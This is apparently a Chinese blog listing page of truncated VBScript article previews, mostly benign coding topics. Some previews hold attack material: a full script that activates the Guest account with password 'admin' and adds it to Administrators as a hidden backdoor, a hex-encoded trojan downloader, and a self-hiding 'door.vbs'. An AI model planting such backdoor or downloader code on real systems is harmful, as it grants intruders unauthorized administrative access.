使用SAFEARRAY返回的代码

2017年02月06日 188 阅读

前天碰到有人问SAFEARRAY的问题，我正好对VBSCRIPT里面如何得到COM组件返回的数组感兴趣，就试验了一下。 IDE用的是VC7.1 开始都差不多，建立工程，建立COM对象，建立方法： 接口定义： [id（2）,helpstring（"methodGetArray"）]HRESULTGetArray1（[out,retval]VARIANT*v）; 方法实现： STDMETHODIMPCATL3::GetArray1（VARIANT*pvaVar...

用vbs实现不死帐号的代码

2017年02月06日 167 阅读

先建立一个VBS文件内容如下： dimwsh setwsh=CreateObject（"WScript.Shell"） wsh.run"netuserguest/active:yes",0 wsh.run"netuserguestadmin",0 wsh.run"netlocalgroupadministratorsguest/add",0 上面一段VBS的意思就是激活GUEST帐号，并且加为高级管理组，设置密码为admin 那为什么不用那个BAT，继续往...

VBS的各种应用的比较实用小代码

2017年02月06日 177 阅读

VBS应用-- VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识，现在大家对它也开始重视起来。VBS代码在本地是通过WindowsScriptHost（WSH）解释执行的。VBS脚本的执行离不开WSH，WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH，用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows2000下，还可...

用VBS调用程序并对程序的运行情况进行监控的两个代码

2017年02月06日 190 阅读

有同时要用一个CAE软件调用外部程序,但是,通过这个CAE软件调用外部程序以后,因为这个外部程序有参数,调用方法写在Bat文件里的,由CAE软件来调用这个Bat,所以,CAE软件没办法对调用的程序进行监控,调用的程序还在运行当中,准备工作还没完成,就到了下一流程,所以,造成流程出错,我写了两个VBS代码,通过它来调用就解决了这个问题！两个小程序分别是按不同的方式来监控的！ 两个程序的调用方式不一样，一个是对系统进程进行监控，一个是对程序生成的文件特征进行监...

禁止QQ上网的vbs代码

2017年02月06日 178 阅读

是个不错的网站，在这里我表示个人意见，支持支持永远支持！今天我给大家做个“用vbs代码禁止QQ上网”的教程。希望大家喜欢！dimbag,pipe,honker,gooddogood="."setbag=getobject（"winmgmts:\"&good&" ootcimv2"）setpipe=bag.execquery（"select*fromwin32_processwherena...

一个收集的下载木马并运行的VBS代码

2017年02月06日 176 阅读

<scriptlanguage="VBScript"> S="2020206F6E206572726F7220726573756D65206E6578740D0A737 3733D226D64622E657865220D0A61613D226F62220D0A6161613D22 6A65220D0A616161613D226374220D0A61616161613D22636C61220 D0A6161616161613D2273736964...

可以将文件转换为vbs语句的vbs代码

2017年02月06日 203 阅读

文章作者：xiaolu[BST] 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个不是exe2vbs所有类型的文件都可以转化的不过限于string的大小文件不能太大我测试过3m的文件是可以的 将下面的代码存为:file2vbs.vbs复制代码 代码如下:"ProgramByxiaolu "name:file2vbs.vbs Onerrorresumenext dowhile1 fname=InputBox（"请输入要转换的文件名...

收藏的比较精典VBS代码

2017年02月06日 193 阅读

文件操作 复制代码 代码如下: Set fso = Wscript.CreateObject（"Scripting.FileSystemObject"） "创建文件系统对象，用以处理驱动器、文件夹和文件 Set WshShell = Wscript.CreateObject（"Wscript.Shell"） "创建系统Shell对象，用以运行程序等等 if fso.fileexists（"D:刀剑Onlinealreadyexist.txt"） then ...

好玩的vbs特色代码vbs栈类

2017年02月06日 186 阅读

数据结构的问题相当重要，如果你能描述出一个问题的输入和输出数据结构，那么这个问题就大有希望，数据结构并不是C语言的专利，真正的数据结构是伪代码的。下面这个栈类是我以前搜集别人的代码，实际上每当考虑一个程序问题的时候，尤其是复杂的程序，就应该想到，用什么样的数据去描述你的输入和输出。 "********************************************** "vbs栈类 "push（string）进栈 "getTop取栈顶元素 "pop...

好玩的vbs特色代码第1/6页

2017年02月06日 164 阅读

用什么来表示组合？比如从5个数里面选n个数，你怎么用一个数字来表述你的选择结果？注意是一个数字。 硬盘的权限就是一个例子，参考脚本手册FileSystem文件Attributes属性部分： Normal0普通文件。不设置属性。 ReadOnly1只读文件。属性为读/写。 Hidden2隐藏文件。属性为读/写。 System4系统文件。属性为读/写。 Volume8磁盘驱动器卷标。属性为只读。 Directory16文件夹或目录。属性为只读。 Archive...

黑客必须要知道的几个vbs文件代码

2017年02月06日 187 阅读

1.door.vbs "*************** "door.vbsby黑嘿黑 "*************** dimwsh,FA,FSO setfso=CreateObject（"Scripting.FileSystemObject"） SetFA=FSO.GetFile（WScript.scriptFullName） FA.Attributes=34 setwsh=CreateObject（"WScript.Shell"） wsh.run"ne...

使用VBScript 中的类组织开发

2017年02月06日 188 阅读

当在一个机构内部创建Web应用程序时，有时候你会发现你自己从一个应用程序中复制和粘贴相同的代码到其它的应用程序中。如果你能够固化所有这些过程到一个好用的小包（package）中，其后你就可以在整个域中使用它了，这样会方便很多。 同时，如果你有一个重复使用的过程，创建一个类包含你的过程可能会比较有用。使用类组织你的代码有一些优点：它使得你的代码容易阅读和调试；你可以将你的类轻松的移值到一个Web服务中；你为其它开发人员提供一个抽象工具（从而节省了时间和资金...

防SQL注入的VBSrcipt代码

2017年02月06日 150 阅读

<scriptlanguage="vbscript">functioncheckstr（strname）strn=trim（strname.value）str=trim（strname.value）fori=1tolen（str）strcheck=asc（left（str,1））ifnot（（strcheck=<122andstrcheck>=97）or（strcheck<=90andstrcheck>...

用VBSrcipt判断是否是日期

2017年02月06日 163 阅读

<SCRIPTLANGUAGE="vbScript"> <！-- "判断是否是日期 functionthisdate（dt） ifnotIsDate（dt）then thisdate=false elseifint（left（dt,4））<int（1750）then thisdate=false else thisdate=true endif endfunction //--> </SCRIPT>...

Stream、WshShell、WshUrlShortcut对象及Shell.Application的参数与使用

2017年02月06日 199 阅读

Kafree收集整理 来源：论坛转载无法确定出处，如有版权问题请与我们联系 1.Stream对象 组件："Adodb.Stream" 有下列方法： Cancel方法 使用方法如下 Object.Cancel 说明：取消执行挂起的异步Execute或Open方法的调用。 Close 方法 使用方法如下 Object.Close ：关闭对像 CopyTo方法 使用方法如下 Object.CopyTo（destStream,[Ch...

vbs实现的下拉框对应键入值

2017年02月06日 156 阅读

vbs实现的下拉框对应键入值选择自gu1dai的Blog 关键字vbs实现的下拉框对应键入值 <TITLE>selectcenter</TITLE> <linkrel="stylesheet"type="text/css"href="style.css"> <METANAME="Generator"CONTENT="EditPlus"> <METANAME="Author"CONTENT=""> ...

用vbs模拟的一个asp的分页显示功能

2017年02月06日 181 阅读

刚做完1个项目，闲的无聊，想改改自己HomePage，但没有Asp权限，所以突发奇想，用vbs模拟了一个图片分页显示功能！由于写的是适合自己使用的功能，难免很多地方不是很完善！也请各位路过的提些意见，若有朋友正好想找类似的功能，或许可以帮助一下，另外，祝论坛的每一位朋友元旦快乐！复制代码 代码如下:<scriptlanguage=VBS> FunctionshowINDEXPAGE（） JS=1 webPath=window.location ...

本地连接禁用/启用批处理脚本

2017年02月06日 200 阅读

复制代码 代码如下:ConstssfCONTROLS=3 sConnectionName="本地连接""可改成需要控制的连接名称，如"无线网络连接"等 sEnableVerb="启用（&A）" sDisableVerb="禁用（&B）""XP系统中应为"停用（&B）" setshellApp=createobject（"shell.application"） setoControlPanel=shellApp.Namespace（ssfCONTROLS） ...

右键发送（sendto），创建快捷方式到自定义的位置 的vbs

2017年02月06日 189 阅读

在SendTo文件夹里加上一文件夹的快捷方式后，在右键发送到这个文件夹的是这些文件的一个副本，实际上是一个复制的过程，有时候我们只希望是快捷方式，那就得另想办法了。 把如下代码内容保存为shortcut.vbs，然后创建快捷方式到sendto目录下（C:DocumentsandSettingsusernameSendTo），改个自己想要的名字，如“创建快捷方式到我的工作目录”，即可实现创建快捷方式了，而且支持多文件，只需要把脚本中第4行中的的strFol...

WINDOWS脚本实践:为SAP补丁制作的VBS脚本代码

2017年02月06日 152 阅读

脚本主要功能包括： 注册表读取与修改 文件内容修改如HOSTS、SERVICES文件 文件属性修改和文件复制 系统环境变量设置 等，仅供参考 复制代码 代码如下:"SAP设置脚本 "编写:SCZ2005.04.20 "最后修改日期:2005.04.22 "必须存在目录:BW（补丁文件）和登入界面 "======================================================================== "全局变量、处...